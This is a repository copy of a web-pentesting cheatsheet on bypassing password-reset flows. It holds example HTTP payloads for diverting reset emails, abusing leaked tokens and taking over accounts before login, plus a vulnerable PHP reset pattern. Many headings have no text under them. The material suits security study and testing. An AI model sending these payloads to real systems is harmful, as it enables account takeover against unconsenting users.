repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
reset-password.mdMarkdown401 lines20.2 KiBsource raw download

title: "Reset/Forgotten Password Bypass" section: "Web Pentesting" sectionSlug: "pentesting-web" sourcePath: "src/pentesting-web/reset-password.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/reset-password.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Reset/Forgotten Password Bypass#

Password Reset Token Leak Via Referrer#

Password Reset Poisoning#

Password Reset By Manipulating Email Parameter#

Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.[5][6][7][8]

POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
POST /resetPassword
[...]
{"email":["victim@mail.tld","attacker@mail.tld"]}
{
  "user": {
    "email": ["victim@mail.tld", "attacker@mail.tld"]
  }
}
POST /resetPassword HTTP/1.1
Content-Type: application/x-www-form-urlencoded

email[]=victim@mail.tld&email[]=attacker@mail.tld

Changing the Email and Password of Any User Through API Parameters#

POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

No Rate Limiting: Email Bombing#

Find out How Password Reset Token is Generated#

Race Condition

Guessable UUID#

Uuid Insecurities

Response Manipulation: Replace Bad Response With Good One#

Using Expired Token#

Race / Reuse of One-Time Reset Tokens#

Brute Force Password Reset Token#

Try Using Your Token#

Password Reset Token Disclosure in API Responses#

POST /api/v1/account/forgot-password HTTP/1.1
Content-Type: application/json

{"email":"victim@example.com"}

HTTP/1.1 200 OK
Content-Type: application/json

{"tempToken":"4f89...","tokenExpiry":"<expiry-timestamp>","user":{"email":"victim@example.com"}}

Missing "token was generated" check#

{
  "user": {
    "email": "victim@example.com",
    "tempToken": null,
    "password": "NewP@ssw0rd!"
  }
}

Session Invalidation in Logout/Password Reset#

Reset Token Expiration#

OTP rate limit bypass by changing your session#

Arbitrary password reset via skipOldPwdCheck (pre-auth)#

Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.[14]

Vulnerable pattern (PHP):

// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
  $body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
  $current_user = CRMEntity::getInstance('Users');
  $current_user->id = $current_user->retrieve_user_id($username);
  // ... criteria checks omitted ...
  $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
  emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Exploitation request (concept):

POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Mitigations:

Registration-as-Password-Reset (Upsert on Existing Email)#

Some applications implement the signup handler as an upsert. If the email already exists, the handler silently updates the user record instead of rejecting the request. When the registration endpoint accepts a minimal JSON body with an existing email and a new password, it effectively becomes a pre-auth password reset without any ownership verification allowing full account takeover.[15]

Pre-auth ATO PoC (overwriting an existing user's password):

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

References#